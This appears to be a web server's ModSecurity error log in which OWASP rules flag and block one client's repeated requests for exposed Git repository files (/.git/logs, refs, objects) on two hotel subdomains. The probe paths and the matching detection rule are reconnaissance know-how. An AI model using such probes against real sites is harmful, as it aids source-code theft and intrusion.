[Sun Oct 25 04:06:22.641268 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "at24foHtOs-nfC4GshpRsQAAABc"]
[Sun Oct 25 04:06:22.641530 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "at24foHtOs-nfC4GshpRsQAAABc"]
[Sun Oct 25 04:06:22.499668 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/remotes/origin/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/main"] [unique_id "at24fqrU4NwppjTEGaL6kAAAAAY"]
[Sun Oct 25 04:06:22.655579 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/main"] [unique_id "at24fqrU4NwppjTEGaL6kAAAAAY"]
[Sun Oct 25 04:06:22.655906 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/main"] [unique_id "at24fqrU4NwppjTEGaL6kAAAAAY"]
[Sun Oct 25 04:06:22.517433 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "at24ftxXWZMI2DaSlsHxOAAAABY"]
[Sun Oct 25 04:06:22.665533 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "at24ftxXWZMI2DaSlsHxOAAAABY"]
[Sun Oct 25 04:06:22.665830 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "at24ftxXWZMI2DaSlsHxOAAAABY"]
[Sun Oct 25 04:06:22.518144 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "at24fi7GhhaIo05efijDIwAAAAc"]
[Sun Oct 25 04:06:22.666307 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "at24fi7GhhaIo05efijDIwAAAAc"]
[Sun Oct 25 04:06:22.666612 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "at24fi7GhhaIo05efijDIwAAAAc"]
[Sun Oct 25 04:06:22.518815 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "at24fp68N771hz7W4KlsSwAAAAw"]
[Sun Oct 25 04:06:22.667038 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "at24fp68N771hz7W4KlsSwAAAAw"]
[Sun Oct 25 04:06:22.667318 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "at24fp68N771hz7W4KlsSwAAAAw"]
[Sun Oct 25 04:06:22.519491 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/master"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "at24frQKh4dfs72fmHxv_AAAAAE"]
[Sun Oct 25 04:06:22.667774 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "at24frQKh4dfs72fmHxv_AAAAAE"]
[Sun Oct 25 04:06:22.668028 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "at24frQKh4dfs72fmHxv_AAAAAE"]
[Sun Oct 25 04:06:22.685646 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/master"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "at24fgLaiqtlZaJBsx4X1AAAAA0"]
[Sun Oct 25 04:06:22.685844 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "at24fgLaiqtlZaJBsx4X1AAAAA0"]
[Sun Oct 25 04:06:22.686138 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "at24fgLaiqtlZaJBsx4X1AAAAA0"]
[Sun Oct 25 04:06:22.722934 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/remotes/origin/master"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/master"] [unique_id "at24foHtOs-nfC4GshpRsgAAABc"]
[Sun Oct 25 04:06:22.723162 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/master"] [unique_id "at24foHtOs-nfC4GshpRsgAAABc"]
[Sun Oct 25 04:06:22.723459 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/master"] [unique_id "at24foHtOs-nfC4GshpRsgAAABc"]
[Sun Oct 25 04:06:22.724522 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/remotes/origin/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/main"] [unique_id "at24flTnwNJm6o1fQZIiuAAAAAI"]
[Sun Oct 25 04:06:22.724641 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/main"] [unique_id "at24flTnwNJm6o1fQZIiuAAAAAI"]
[Sun Oct 25 04:06:22.724874 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/main"] [unique_id "at24flTnwNJm6o1fQZIiuAAAAAI"]
[Sun Oct 25 04:06:22.741980 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/remotes/origin/master"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/master"] [unique_id "at24fqrU4NwppjTEGaL6kQAAAAY"]
[Sun Oct 25 04:06:22.742137 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/master"] [unique_id "at24fqrU4NwppjTEGaL6kQAAAAY"]
[Sun Oct 25 04:06:22.742398 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/master"] [unique_id "at24fqrU4NwppjTEGaL6kQAAAAY"]
[Sun Oct 25 04:06:22.747607 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/pack"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/objects/pack"] [unique_id "at24frQKh4dfs72fmHxv_QAAAAE"]
[Sun Oct 25 04:06:22.747728 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/objects/pack"] [unique_id "at24frQKh4dfs72fmHxv_QAAAAE"]
[Sun Oct 25 04:06:22.747996 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/objects/pack"] [unique_id "at24frQKh4dfs72fmHxv_QAAAAE"]
[Sun Oct 25 04:06:22.749249 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/objects"] [unique_id "at24ftxXWZMI2DaSlsHxOQAAABY"]
[Sun Oct 25 04:06:22.749398 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/objects"] [unique_id "at24ftxXWZMI2DaSlsHxOQAAABY"]
[Sun Oct 25 04:06:22.749624 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/objects"] [unique_id "at24ftxXWZMI2DaSlsHxOQAAABY"]
[Sun Oct 25 04:06:22.750332 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/objects"] [unique_id "at24fi7GhhaIo05efijDJAAAAAc"]
[Sun Oct 25 04:06:22.750472 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/objects"] [unique_id "at24fi7GhhaIo05efijDJAAAAAc"]
[Sun Oct 25 04:06:22.751419 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/objects"] [unique_id "at24fi7GhhaIo05efijDJAAAAAc"]
